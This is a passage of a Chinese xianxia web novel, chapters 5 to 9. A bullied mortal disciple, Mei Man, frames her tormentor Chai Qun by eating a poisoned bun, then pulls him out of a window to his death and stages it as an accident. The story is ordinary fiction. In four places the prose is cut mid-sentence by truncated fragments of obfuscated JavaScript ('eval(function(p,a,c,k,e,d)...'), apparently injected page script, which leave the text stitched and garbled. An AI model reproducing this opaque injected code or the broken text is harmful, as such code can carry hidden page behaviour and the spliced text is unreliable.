他一来就直入主题,坐在主座,挨个检查所有人制的安眠散。 一个个弟子走上前,将自制的安眠散交给他,而他只需轻轻一闻,就能判断出这药的好坏。 大家知道他的脾气,都噤若寒蝉,最先上去的几个吓得脸都白了,战战兢兢递出瓷瓶。 而他只拔开塞子——有的甚至连塞子都没拔,就紧拧起眉给出结论—— “重做。” “你手断了?没有?没有怎的连药材都磨不碎,本君记得让你们做的是‘安眠散’,而不是让你把各种东西混在一起熬粥。” “将药方抄上十遍,再重做。” “重做。” “气味、颜色均不对,对比药方找出疏漏处,再重做。” “……” 渐渐地,沈疏时的脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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底下也有人大着胆子应声。 沈疏时冷笑:“那傀儡纸人呢?在何处?” 柴群猛地噤了声。 “在何处?”沈疏时又问一遍,面若寒霜。 “化成灰了。”柴群低着脑袋,脸通红。 “如何就化成了灰。” “自己着火了。”柴群声音更小。 他们拿来试炼的那几个傀儡纸人,在清醒后就接二连三地着了火,化成灰烬。那时他们太过兴奋,都以为是傀儡术失效所致,全没想到可能是纸人中了火毒。 “自作聪明,反而净做出些蠢事!”沈疏时冷声说,“将药方抄上百遍,再重做。” “是……”柴群恨不得将脑袋埋在胸前,悻悻离开。 剩下几个用了龙骨粉的也都不敢再吱声,连忙把瓷瓶往怀里揣。 梅满和柴群坐一起,他下来了,便该她上去。 她上前,递上瓷瓶。 沈疏时拔开塞子。 他很快蹙起眉:“你也加了龙骨粉?” 梅满低下脑袋,眼睛盯向地面的一点,手攥得死死的,心跳堪比擂鼓。 平复片刻,她才挤出声应答:“是。” 所有人都看向了她,尤其是柴群,他瞪着她,既忿忿不平,又幸灾乐祸,大概是在等她落得和他一样的下场。 半晌过去,沈疏时放下药,却说:“不错。” 仅是“不错”两个字,但已经是他今天给出的最好评价。 梅满承认自己是个斤斤计较的小人,听见这话的瞬间,便忍不住沾沾自喜,还要忒虚伪地说上一句:“多谢仙师,其实也不算什么,练的次数有些多罢了。” 沈疏时看她一眼。 她才懒得管他是什么表情,能压过姓柴的烂人一头就行。要不是考虑到还有其他人,她简直要笑出声。 柴群立马气愤道:“仙师,怎么她加了龙骨粉就行,我就不行?仙师,哪怕她是个普通凡人,也不用这么偏袒她吧。” 沈疏时神情更冷,没有应声。 梅满自然不会放过这机会,装出副心平气和的模样,与他说:“可能是你没仔细看书,品质过好的龙骨粉掺进安眠散里的确会带来火毒,用些混了其他兽骨粉的瑕疵品,反而更有用。” 柴群哽住。 看见他那副表情,梅满心里一片畅快。 忘恩负义的烂人,去死吧你! 6.第 6 章 也是看见柴群敢怒不敢言的表情了,梅满才确定,比起受人吹捧,她更喜欢看人吃瘪。 但她不认为他会就这么服输,或是放过她。 灵药课刚结束,他便拦住她的去路,质问梅满:“你故意的?” 梅满恨不得把“小人得志”几个字写在脸上,反问他:“我故意什么?是故意让你偷走龙骨,还是故意让你拿走安眠散?当贼的不反省自己,反而问主人家为什么只往箱子里放假银子,别太好笑了。” “行,好!好!”柴群笑出声,眉眼却还冷冰冰的——这副表情梅满很熟悉,以前遇见的那些公子少爷一生气,就喜欢摆出这阴晴不定的神情。 梅满心觉不妙,果不其然,下一瞬就听他说:“梅满,我爹昨天刚给我寄信,问我在这里习不习惯,还说如果不方便,就安排两个小侍来照顾我。想来秋师兄也是这样,你说呢?” 梅满攥紧手,脸冰凉凉的,耳朵却在发烫。 “你查我?”她脑中一片空白,只问得出这话。 柴群摊开手:“不过好奇你一个区区凡人,能有什么能耐进这仙府罢了,又刚好认识些梅家的人。梅满,秋家给你多少钱?我可以给更多,这样就也不用让我爹送仆侍过来了。” 这样的羞辱比骂人的话更难听。 梅满气极,恨不得先撕烂他的嘴,再杀了他。 可心底的怨毒越重,她反而越平静,她说:“你会后悔的。” 柴群笑道:“你想让秋师兄给你做主?可这么多天了,他连看你都没来看过一眼——哦,倒是给了你一块骨头,秋家还真有钱,对下人都这么大方。” 梅满神色不变,死死盯着他,又说一遍:“你会后悔的。” “……好啊。”柴群渐敛笑,“那就看看是我先后悔,还是你先服软。” 他自然不信她能翻出什么浪。 一个不起眼的小跟班,就算死了,也不会有人在意。 刚开始的几天很平静。 因为安眠散的事,柴群又被那些人排斥在外。就算他不是故意的,可这件事也让他的朋友们掉了面子。 他费了不少功夫才重新融入进去。 而当他解决了那边的麻烦,就又有闲心针对梅满了。 这天下午,梅满在练功房修炼体术,中途觉得饿了,就去买了个馒头。 其实她在秋家攒了些钱,但她很抠搜,多数事上能省则省。毕竟她只是个凡人,如果哪天离开秋家,也得有些家私做退路。 她正要啃馒头,忽然跑来个面生的小童子,说是仙师找她。 梅满立马跟着他走了,但没走多远,他忽然停下,道:“我好像找错人了,你回去吧。” “什么叫找错人?”梅满皱眉。 “认错了,认错了。”小童子说,转眼就跑得没了影。 梅满正想骂他,又觉得不对劲。 等她回去了,才发觉是哪里出了问题—— 她的馒头被人掰开了,里面塞着只黑漆漆的大毒蝎。 那只蝎子还没死透,蝎尾偶尔动弹两下。 又是这样拙劣的把戏。 可正是一个又一个拙劣的手段叠加在一起,才让人深恶痛绝。 梅满捏着那个包了“馅儿”的馒头,缓慢抬起脑袋。 前方角落里,柴群正和几个修士说话,笑嘻嘻的。 许是察觉到梅满的视线,他瞥她一眼。明明近乎平视,却带着居高临下的意味。 他大概在等着她松口,等着她向他道歉,好为自己换来几天安生日子。 在他看来,她的主动求饶就能平息这一切。 可对梅满来说不是。 她垂下视线,看向那个馒头。 忽地,她将馒头捏实,一口咬了下去。 那方传来惊呼,但她没看,囫囵咽下馒头。 酸苦、腥涩、恶心的滋味蔓延开,她忍着作呕的冲动,又咬了一口。 柴群急匆匆赶来,一把拽住她。 “梅满,你真不要命了?那可是蝎子,你眼瞎吗,看都不看就吃?”他晃着梅满的胳膊,又想捏她的脸,“快吐出来,吐出来啊。” 其他人紧随而至,似乎不知道发生了什么,团团围住他俩,纷纷在问“什么事”“怎么了”。 直到有人发现地上的半个剩馒头,惊呼:“这哪儿来的毒蝎?!” 话落,几乎所有人都看向柴群。 梅满也望向他,一眨不眨地盯着他,当着他咽下第二口馒头。 柴群怔愕,这时才反应过来他刚才的举动有多蠢,他迎上众人的打量,慌忙说:“不是,不是我,我只是……” 后面的话梅满没听见。 大多数情况下,直接吃毒蝎可能没有被蝎子蜇伤那么严重,但架不住这蝎子含有剧毒,蝎毒发作,她只觉肚子疼得厉害,没一会儿就晕了过去。 昏过去前,她看见柴群被几个人挤去外面,脸上满是带着惊惧的后怕。 等再醒来,梅满已经在药庐里躺着了。 在旁照看的医修师姐大松一气,用柔软的布帕擦拭着她的额头,说:“幸好没事,梅师妹,你这一晕就是三天,真要吓死人了。现在感觉怎么样,肚子还疼吗?” 梅满的视线还有些恍惚,下意识摇摇头。 比起病情,她更关心另一件事:“柴群呢?” 不过三天,她的声音就嘶哑到听不出原声了。 师姐用湿润的棉布沾了下她的嘴唇,眼神里似乎有怜悯。 她说:“他在外面,戒律堂的长老也来了,我去叫他们。” 梅满原以为是仙师负责这件事,没想到戒律堂的长老会亲自来。 长老看起来是个严肃的中年人,柴群跟在他身边,始终低着脑袋。 “梅小友,”长老坐在梅满床边,关切道,“身体怎么样,可还有哪里不舒服?” “多谢长老,已经好多了。”梅满蔫蔫地靠在床头,说话有气无力,“仙师呢,他没来吗?” “疏时这两天身体不适,正在闭关。他暂且不知晓此事,就由我来代为处理。”长老扫一眼柴群,“这件事我已经查清楚了,这混账东西实在不像话,对同门竟毫无关怀之心,就算是无意,也不该轻饶!” 梅满本来还在期待他会怎么收拾柴群,可听见“无意”两个字,心忽然往下一沉。 她勉强撑起几分力气说:“多谢长老,但等仙师闭关结束了再查也不迟。那蝎毒实在太厉害,我还有些头晕,许多话一时半会儿都说不清楚,还请长老——” “不必说了。”长老打断道,“梅小友,你受了苦,我岂能视而不见。柴群要罚,还要重罚。” 梅满清楚感觉到身上的温度一点点下降,脑中渐有嗡鸣声。 在这持续不断的轻微嗡鸣中,她听见长老说:“我已经安排好了,罚他在戒律堂关一月禁闭。你这回疗伤的药钱,也让他来承担。” “一个月?”柴群忽然抬头,他看着有些萎靡不振,一双眼睛红通通的,像是哭过,“这也太久了吧,那我符箓课的考核怎么办?我都说了是她自己吃的啊,现在大家都不理我,还要这样罚我,我回去怎么见人?” 长老睨他一眼。 许久,柴群才不情不愿道:“我是该罚,梅满,你原谅我吧,我知道错了。” 知道错了? 梅满看着他俩一唱一和,险些笑出声,脑中的嗡鸣声更大,被她吞下去的那半只蝎子好像又活过来了,在她的肚子里面翻搅着,狠蛰着她,令她分外作呕。 长老又不疾不徐道:“唉,这小子,我也算看着他长大,不是个坏心思的人。想来是有什么误会,一时糊涂,才闹出这种麻烦。” 哦。 原来是这原因。 梅满突然平静下来。 她早该想到的。 早该想到,就早该清楚,要解决他这样的杂种,等待别人来审判他的错是没用的。 长老问她:“梅小友,你以为如何?” “是。” 关禁闭…… “长老的处罚很公平。” 就这样糊弄她? “本来就不是什么大事,既然他已经道了歉,受了罚。” 关上一个月,施舍点药钱就叫惩罚了? “我也原谅他了。” 就能抹平她的痛苦了? “——柴群。” 贱人! “我们和好吧。” 我要杀了你。 梅满撑着床铺下床,虚弱踉跄站直身,向他伸过手。 柴群没有握她的手,他咬紧牙,压低声音说:“这下你满意了?” 比起他,她反而要平静许多:“也是我太冲动,有什么矛盾说开就好了,哪里会闹到这地步。” 长老满意点点头。 他不愿在这地方多待,没一会儿就说要走。 但在他俩离开时,梅满忽然扯了下柴群的衣角。 他回身睨她一眼。 长老已经先一步离开,梅满轻声问他:“长老这样护着你,不还是要关你禁闭吗?我听说进了惩戒室就要受鞭刑,还要吃馊饭喝泔水,等你再出来,会不会臭烘烘的,谁都不愿和你说话了?” “你胡说八道!”柴群气极。 梅满一副无所谓的模样,躺回了床上,说:“谁知道呢,反正我又看不见。” 柴群冷冷睨着她:“你等着。” 他放下这话,就沉着脸走了。 这之后梅满才听说,外门院弟子都认定他故意下毒害人,那些人虽说爱凑在一块儿玩,大多还有些自视甚高,可到底都年岁小,天不怕地不怕,有几分嫉恶如仇的脾性,便开始疏远他,甚至有意苛待他。 又过两天,她刚恢复点儿,就收到了柴群的口信。 帮忙传话的是戒律堂的一位师兄,他说:“柴群想见你,他觉得上次道歉的心不诚恳,想再当面和你说一次。” 梅满问:“可师兄,他正在受罚,私下见他是不是不太妥当?” “说两句话而已,能有什么。” 梅满犹豫着点点头,当天夜里便随师兄一起,进了戒律堂三楼的惩戒室。 她进门时,柴群正在吃点心。 他大喇喇坐在椅子上,面前是一桌好饭好菜,连蜡烛都没点,而是用的亮到刺眼的夜明珠。 “坐啊,”他浑不在意道,“随你坐哪儿,饿了吗,要是饿了还能顺便吃点儿。等出去了,外面可没这样的好菜吃。” 身后的门关上,梅满一动不动:“你这是什么意思。” “没什么意思。”柴群取出两个空杯子,放在桌上,“你不是说我进来就要吃苦吗,也让你长个见识。如果要过苦日子,家里怎么可能送我来这儿——你应该不懂,也是,替秋家做了这么多差事,却没个人来看你一眼。我先前说的话还作数,你给我当差,怎么样?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他下手狠,她也毫不收劲儿,不过几个回合,两人就都失去了理智。 梅满猛地打他一拳,骂道:“死贱种,用不了灵力了是吗,也变成凡人了是吗?怎么不在我面前显摆了,你再用啊,用灵力啊!” 柴群果真试了,颤抖的手掐了好几回,却只挤出一点溃散的灵力。 梅满笑了声,瞬间激起他的怒火。 他失控大叫一声,举起茶壶碎片就要捅她。 梅满挡了他几次,直到那碎片割得他的手血淋淋的。 他丢开碎片,像只掉入陷阱里苦苦挣扎的凶兽一样粗喘着气,到此时他终于明白了,眼神狠厉地盯着她,说:“你是故意的,故意说那些话?你早打算害我了,你这个贱人,狗奴才,我非杀了你不可!” “我不是,不是!”梅满也大喘着气,被他划伤的额头流下了血,血水糊得眼皮子前都蒙了层红光,“好啊,好!现下公平了,都是肉长的,都是一张皮裹着,都是肉骨凡胎,那就试试,试试谁先杀了谁!” 两人扭打在一块儿,柴群恨不得要她死,打了十几个回合后,他猛然发力掐住她的脖子,勒死她的呼吸。 她奋力挣扎,却怎么都挣不开。 肺腑间的气息逐渐被挤干净,她的眼睛泪蒙蒙的,却顾不得擦拭,突然用两条胳膊使劲箍住他,径直往窗边摔去。 “你想整死我?你还想整死我?!”梅满嘶叫着,她看见他眼睛里迸出惊恐慌惧,可她将他抱得死死的,几乎是从肺腑里挤出声音,“我会活下来的,谁也别想支使我!谁也别想!!” 她猛地往旁倒去,同他一起摔出了窗户。 坠下的瞬间,柴群终于松开手,发出声短促的尖叫。 梅满大口呼吸着,春夜的冷息一下涌进她的喉咙,刺激出腥甜的血味。 借着模糊的余光,她瞥见了深蓝到近黑的天,缀在天边亮闪闪的星子。 它们依旧那样高,冷冰冰高悬着。 也瞥见了地上的树、石头和房屋。 它们比往常更要矮一些,静静伏在她身下。 原来腾空是这样的感受。 她想,她始终这么想,要是她能活下来,终有一天她要爬得比眼下这一瞬还要高,她要在那些星星之上,在天之上去俯视一切东西。 “砰——!” 他俩同时砸落在坚硬的石地上。 尖叫与呼吸全都戛然而止,春夜重归冷清,连虫鸣都显得稀疏、寥落。 两团身影静伏在地面,一动不动。 四周寂静无声,这无边的黑夜被拉长,虫鸣也仿佛消失不见。 许久,其中一道身影动了下。 梅满侧过身蜷缩起来,像是重回母体的胎儿。她挤出声嘶哑的凄叫,随后剧烈咳嗽,仿佛要将剧痛的五脏六腑都咳出去。 咳出几大口血后,她浑身都开始不受控地颤栗,眼前飘过团团黑影,脑子也陷入一片空白。 可她不觉得难受。 梅满挣扎着,边咳,边缓慢翻过疼痛难耐的身躯,平躺在地上,渐渐笑出声。 她疼到连手指头都快动不了了,但还是强撑着摸了把覆在眼皮上的血。 缀着疏星的夜空变得清晰许多,她目不转睛地盯着,笑声也更大。 7.第 7 章 等心底那股郁气彻底纾解了,梅满才堪堪止住笑。 她浑身疼得厉害,脑子像是被堵住了,什么都想不清楚。 她大喘着气,又吐了好几口血,勉强缓过神了,才攒足力气喊:“救命,救命啊——!” 不知道喊了多久,终于有人来了。 是戒律堂的几个前辈,他们一来就看见满地是血,地上还躺着两个不知道是死是活的人,险些吓个半死。 领头的一位师兄吓得不敢靠近:“这!这这这,这什么情况,你们怎么——” 梅满眼前一阵发黑,疼到快要昏死过去。 但她强撑着,没什么力气地抬起手指向柴群,哽咽着虚弱开口:“师、师兄,先救他,救他。” 那几位前辈这才猛然回神。 领头的师兄急忙奔向柴群身边,另一个师姐紧随他身后。 “你叫什么名字,到底发生什么事了,怎么摔成这样?算了,先别说话,节省点力气,我帮你止血。”一位师姐蹲在梅满身边,急忙掐了个止血诀。 另一位师兄则往她体内灌注灵力,须臾间灵力就游走遍四肢百骸,他面露讶然:“你不是修士?” 梅满吃力点点头。 她满脸是泪,和血水混在一块儿,简直辨不出原本的模样。 但她强撑着转动脑袋,看向柴群那边。 “他呢?”梅满反抓住师姐的手,手指缓慢收紧,有气无力的,“他……他是我朋友,他怎么、怎么样了?” 师姐顺着她的视线望过去,看向蹲在柴群旁边的师兄。 后者神情凝重:“他灵脉俱损,魂魄已去,没救了。” 梅满哽咽着哭出声,嘴里喃喃着“不可能,怎么会这样”,师姐安抚着她的情绪,又让她节省力气,传讯与医谷弟子,将她送去了药庐。 这回比上次中毒还要难受,可梅满没昏过去,始终保持着清醒。 药庐的医修处理她的伤口时,她疼得连龇牙咧嘴的力气都没了,呼吸也时停时续。 但只要一想到柴群那副惨样,那些伤痛就仿佛尽数消失了。 她的心一直跳得飞快,既后怕,又忍不住窃喜。 那个杂碎!这是他应得的下场。 不过她清楚,等着她的远不止这一个麻烦。 没过多久,戒律堂的那位长老就找来了药庐。 他怒气冲冲,闯撞进门。 梅满早做好他会找上门的准备,却没想到他身后还跟着个秋应岭。 姓秋的笑得像只狐狸,眼睛都要眯成两道弧,进门时还在说:“长老呀,急什么,你那侄儿是死了又不是受了伤,跑得这般急也救不了他。” 这番招打的话真把长老气得脸色铁青,强忍着才没发作。 秋应岭还想挖苦,却忽然瞥见她。 他脸上的笑登时敛去几分,嘴角已有压平的趋势,但不过一瞬,他便又恢复原来的表情。 “长老,”他又笑说,“真个心疼你那侄儿,就别把他当作个畜生似的养,好歹养出个人样,才不至于撞上这等横祸,你说是不是。” 长老停下,戾眼睨他:“应岭!你非要这般夹枪带棒?” “夹枪带棒?”秋应岭一副思索的模样,“想来是哪句话让长老误会了,我不过是在说笑,切莫往心里去。” 长老气得脑仁突突跳,不再与他辩驳,转而怒冲冲看向梅满。 “梅满,这到底是怎么一回事!”他的眼圈泛红,声音也哽塞,“柴群他怎么就,怎么就……” 梅满尽量无视掉旁边的秋应岭,也眼泪汪汪,又因为疼,说话都断断续续:“我也不知道,是他托一位师兄带话,说想见我,我就去找他了。起先还好,他和我聊起了功课的事,还问我要不要吃东西。但不知道怎的,他突然就发了疯,把东西摔了个干净,还、还说,还说……” 长老急往前一步:“还说什么?” “说要杀我。”梅满垂下眼帘,一脸后怕的表情,“他要打我,我只能反击,最后就……就摔出了窗户。” “不可能!”长老怒斥道,“他无缘无故,怎就要杀你?” 秋应岭笑道:“长老动什么气,他连跳窗子的蠢事都做出来了,更别提想杀个人。” 长老不信,竟往前一步道:“待我搜魂,自然一清二楚!” 梅满这时才彻底清醒,意识到自己究竟惹来了多大的麻烦。 她又怒又怕,恨他要下这毒手,又怕他真不把她的命当命,便作势要躲。 这个老不死的东西! 那么心疼他的亲侄儿,怎么不去给那姓柴的杂碎陪葬! 秋应岭轻按住长老肩头,拦住他去路:“长老,她是我秋家的人,莫说这搜魂大法乃是邪术,当着我的面处置我们秋家人,是不是有些不给晚辈面子了?” 也是他发话了,梅满才想起这儿还有座靠山。 秋家的几位公子小姐虽说都有副歹毒心肠,可在外人面前好歹会护短。 每逢这时候,她就忘了平时对他们有诸多埋怨,叫窝囊劲儿占了上头,恨不得把所有的麻烦都丢给姓秋的。 于是她也不怕疼了,推开帮她疗伤的师姐,带着一身血,忍着痛、瘸着腿就往秋应岭身后躲,眼泪汪汪道:“长老,我又没骗人,只是说几句实话,你怎就要杀我?你有什么话便与大公子说吧,我嘴笨,蹦不出几句动听的。” 长老怒喝:“你先出来,出来!” 那医修师姐没拉住梅满,也急得手足无措:“哎哎哎,先别吵,伤口还没处理完呢!” 秋应岭早已习惯这场合,简直游刃有余。 他一面笑着挡住长老去路,一面横着条胳膊将梅满拦在后面,嘴上还不忘道:“长老何须着急,有话慢些说,也才听得懂。切莫因为一时冲动,犯下不可挽回的大错。” 梅满哭得惨兮兮的,不住点头,又一个劲儿把秋应岭往长老面前推。 他大概有所察觉,偏过头笑眯眯看她:“满满,我与长老也没有这等见面相拥的交情。” 梅满倏地收回手,抽抽噎噎说:“也是帮大公子助上两分说话的力气。” 秋应岭瞥见她泪流满面的样子,正欲说话,那方就急匆匆来了个师兄。 “查到了!”师兄上气不接下气道,“长老,查出来了!” 长老的注意力就全去了他那儿。 秋应岭对此却没多少兴趣,他手稍抬,指节在梅满面颊上一划,揩掉一些眼泪,随后又垂下,仿佛只是无意之举。 他拉住她的手,指腹搭在腕子上,像是把脉,又像是短暂的触碰。 须臾,他拍拍她的小臂,说:“回去躺着。” 梅满自不会在这种事上客气,小心绕开长老,躺回床上,缩进了被子里,只露出双红通通的泪眼。 那医修师姐急忙上前,继续施展灵术。 传信的师兄看看梅满,又看看长老,犹豫道:“长老,在这里面恐会打搅梅师妹休息,是否要换个地方?” “不必,”开口的却是秋应岭, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那医修用灵术帮她接骨时,她便将脸埋在枕头里,死死咬着牙,一声没吭。 骨头很快就接好了,但疼痛没那么快消失。 那医修说:“梅师妹,我去看看药熬得怎么样了,一会儿就回来,你暂且歇一歇。” “不打紧,我不急。”梅满说,不是因为体贴,而是只要想到长老离开时的难看表情,就算再疼她也受得了了,甚至想笑出声。 但不知怎的,那医修忽然收回迈出去的腿,她躬下了身,帮梅满将汗湿的额发顺至耳朵后面,声音比刚才更温和:“放心,我尽快回来。” 梅满蹙眉。 这人怎么回事,都说了不急,怎么还跟有人催她似的。 那医修看见她蹙眉,只当她是疼得厉害,转身向秋应岭匆匆点了下头,便出去了。 她径直去了煎药用的药寮,将所需的各种药一一检查了遍,又嘱咐负责煎药的药修定要细心。 正说着,忽有人出现在药寮门口。 医修抬眼望去,认出那人:“谢师弟,这么晚了,怎么还来医谷?” “取药。”谢序稍顿,“送柴。” “有劳你了,还是照常放在药寮外面。”医修转过去,忽又回身叫住他,“嗳,谢师弟,等等,劳你再跑一趟。那边的药庐有病人,也需要送点柴火,待会儿好直接在药庐里烧水。” 谢序顺着她指的方向望去,看见夜色中的暖黄烛火。 8.第 8 章 那医修走后,药庐里就只剩下梅满和秋应岭了。 梅满以为他也要走,不想他忽然叹口气:“满满呀,怎么弄得这样狼狈。为了根骨头就能作践你的人,还值得你掉几颗眼泪。” 长老都走了,梅满哪可能还给那姓柴的哭丧,抹了把眼睛便说:“是伤口有些疼。” 秋应岭问她:“在惩戒室里发生了什么事?” 或许是今天干出的事太硬气了,梅满差点没忍住怼他一句“是不是没长耳朵”,但好歹记着还要从他那儿领酬金,便应道:“就是刚才与长老说的那些。” “一字不差么?” 梅满点点头。 秋应岭忽然俯过身,手指按住她的颈子,问:“这也是那柴群所为?” 梅满没明白他这话的意思:“什么?” “脖子上,都勒出印了。”说话间,他的指腹轻轻碾过。 “哦,大概吧。”梅满应道,想起柴群用手掐她,心底涌起一丝戾气,恨不得将他的魂魄都揪来打碎。 秋应岭那温热的手指摩挲着颈上的红印,带来细微的痒意,这让她忍不住咽了下喉咙。 他察觉到这细微的反应,指腹压在她的颈子前面,上下摩挲着,似乎要透过皮肉去摸喉管。 “满满,对自己当真下得去手。”他说。 梅满眼睫一颤,抬眸看他:“什么?” “无事,不要动。”秋应岭掌住她的颈子,他的掌心覆着片淡色的灵力,温暖又柔和,一点点抹去颈上那些青紫的勒痕。 他抹去那些痕迹的时候,替他做事的仙仆赶来了。 那仙仆是傀儡变的,神态僵硬,手里还拎着个食盒,见面和梅满匆匆打了声招呼,就打开盖子,将食物挨个摆放在床边的木柜上。 梅满与秋应岭靠得很近,他的手也还贴在她颈子上,但她没觉得有哪里不妥。 秋家的三位少爷小姐都像是身上摸了浆糊,打小就爱往她身上黏,久而久之,她——甚至秋府上下的人也都见怪不怪了。 比起这个,梅满更关注仙仆带来的东西。 她偷偷瞟了眼。 净是些平时吃不着的珍馐美味,有些她叫不上来名字,连最普通的一碗粥都是拿仙香米和灵兽肉熬的。 那香味儿一个劲往她鼻子里钻,她瞥一眼已经收回手,开始拿汤匙搅粥的秋应岭,忍不住愁眉苦脸。 唉,真不是人过的好日子啊。 就往药庐跑一趟,还有人巴巴地赶着来送饭。 这么爱显摆,怎么不叫几个厨子来现场抡大锅呢? 梅满心里酸溜溜的,又怀念起被她丢在地上的那半个馒头。 要是当时揣进兜里就好了,这样的话至少现在嘴巴不会跟着眼睛一起流眼泪。 下一瞬,那汤匙粥就送来了她嘴边。 梅满抬头,以一种见鬼的眼神看向秋应岭。 见她不吃,他问:“不饿吗?那医修方才说你吐了不少东西。” 梅满的表情更古怪,怀疑他是不是嫌她给秋家招惹麻烦,偷偷往里面投毒了,想要杀人灭口。 但那碗粥闻起来实在太香了。 清甜米香混着浓郁肉香,像毛烘烘的刷子一样挠着她的胃。 最终梅满到底没忍住,抬手要接过汤匙。 可他已经先一步将汤匙抵在了她嘴边,她便顺势张开嘴喝了口。 那股香气顺着她的嘴巴流进了肚子。 一想到秋家的几副坏心肠都是拿这种好肉好菜养出来的,梅满就更想哭了,心底酸溜溜的汁水止不住冒泡泡,更是往五脏六腑淌。 匆匆吃了几口后,梅满说:“多谢大公子,我饱了。” “饱了?” 梅满点头。 其实没有。 不仅没饱,还被勾出了馋虫,肚子更饿了,胃也像是被掏空了一样。 但她不敢再吃了。 人不怕吃苦,就怕尝到点甜头了还要接着再吃苦。 万一吃惯好的了,再啃不下去馒头了那该怎么办。 秋应岭扫了眼满桌子还没动的饭菜,他许是以为味道不对,就着她吃过的汤匙舀了一勺粥,吃了。 确定味道无误后,他忽意识到什么,斜挑起那双狭长的眼睛,笑了笑:“满满。” “什么?”梅满问。 “真是有副拿金子银子都撑不大的心肠。”他慨叹似的说,在她的脸色变差前,他又舀了一勺粥,“吃罢,吃完了,还有事要问你。” 她就知道他不会无故送这饭! 梅满想起他交代的事,那半颗养灵大补丹还在她身上,她没直接拿去卖,而是先打听了下消息。 现在好几个人想买,且态度迫切,她就让那家店铺的老板帮忙递个消息,说是不急着出售,优先考虑价格。 总而言之,就是想拍卖的意思,这样能多赚一点灵石。 这件事肯定不能让秋应岭知道,他最厌恶别人心怀鬼胎地算计他,更别说把他的东西拿出去转手卖掉了。 梅满一边想着这事,一边漫不经心盯着那个汤匙。 她脑子还没摔坏,也记得很清楚,刚才他还拿这勺子喝了粥。 她有些嫌弃地蹙了下眉,怕他察觉,便尽量摆出十分自然的语气:“大公子,还有其他勺子吗?这勺子不够大,我想吃快点。” 秋应岭笑眯眯道:“若要嫌我,待会儿药端来,便我先喝,再哺给你。” “……”这人好恶心。 他问:“满满可是在心底埋怨我?” “不是。” 是在辱骂。 秋应岭:“那在想什么。” 梅满:“在想答谢的话。” “答谢的话要说出口来,旁人才晓得。” “感谢我还活着,这样才能吃到好东西。”梅满情真意切道。 秋应岭笑出了声。 “满满……”他喟叹般唤叫了声。 他又将汤匙往前一送,梅满喝下那口粥,慢吞吞咽下去。 吃完饭,秋应岭才聊起正事:“托你转送的那一枚丹药,那谢序可收了?” 梅满在说实话和撒谎中犹豫了会儿,决定说些半真半假的话:“没收,我扔了。” “他不收也无妨,扔便扔了。” 梅满真酸得咬牙。 这死东西,老说些招人恨的话。 秋应岭道:“另一桩却要紧——下月初七去山下吃茶的事,他如何说?” “他答应了,说会准时去。” “那便好。”秋应岭话锋一转,“柴群一事,我没有告诉鹤扬和雁雪,他们也应当不知道你受伤的事,这些时日你安心养伤,无需去见他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“如何弄得这般可怜,头发上也沾了血,莫不是头也摔着了。”他顺手掐了个净尘诀,一只手捏按起她的脑袋,似想摸一摸有没有伤口。 坦诚而言,他摸得有些舒服,真是快把脑子都揉开了,但她只觉得他这举动实在有些诡异。 “没,”梅满说,“刚才师姐已经处理好了。” 秋应岭没有挪开手,还在揉按摩擦,又问:“那瓷瓶拿去做了什么用处?” 想到那瓶子梅满就一阵痛心:“没了。” “怎的没了?” “被柴群摔碎了。” “唉,那可真是个坏人,也算死得其所了。”他一口气叹得又长又轻,不知道是真可惜还是客套话,“莫要难过,哪日再另挑一个罢。” 梅满心不在焉应了声,耳朵始终高竖着,注意着谢序那边的动静。 好在他没惹出什么麻烦,一直没吭声,就自个儿在那儿默不作声地码柴。 更好的是秋应岭也待够了,把仙仆叫进来收拾好桌子,便说要走。 梅满求之不得,表面上还要装一装客气,掀开被子说:“大公子我送你。” 随后在踩着地上的鞋时,发出声痛吟。 秋应岭懒懒儿睇她一眼:“躺着罢,不必送了。” “那你都这么说了。”梅满立马缩回去,一会儿都不愿多装。 秋应岭莫名笑了声,提步离开。 他出门时,恰好撞上拎柴进来的谢序。 两人一内一外,中间仅隔着道门槛。 他二人先后停下,但谁都没有让步的意思。 9.第 9 章 还是秋应岭先开口:“谢师弟,好久不见了,那时走得匆忙,没来得及尽心答谢,在杂役院可还住得惯?” 谢序吝言道:“嗯,多谢秋师兄。” 秋应岭:“我前些时日太忙,没能来看你,就先托满满——啊,你应该还不认识她,托人帮我送了丹药。” “我知晓师兄是好意,但我已经进了杂役院,这便足够了。” “何须说这些,也算缘分难得,若能与谢师弟交个朋友,再好不过了。”秋应岭笑着宽慰,“谢师弟也切莫暗自神伤,你灵根虽毁,可修仙妙便妙在机缘无数,指不定哪日就能撞上。” “多谢秋师兄。” 秋应岭不急不缓道:“如今你唤我一声师兄,我便也算你半个兄长。这灵术仙法上,我也还是个门生,没什么能教你,只一桩要提醒你。如今你已经踏入仙府,往日一切私情种种,当断则断。” 也不知那谢序听没听进去,等秋应岭说完,他便又是一句:“多谢秋师兄。” “也罢,说得太多,师弟恐嫌我唠叨。”秋应岭跨过那门槛,一双狐狸眼笑似弯月。 谁承想那谢序仍旧没让路,如一抹吊诡的黑影般伫立在暗色中。 沉默,内敛,不苟言笑。 秋应岭神色不改,笑道:“谢师弟,请让。” 谢序此时才缓慢抬起眼帘,那双眸子像墨洗过一般,蓄着黑森森的死寂。 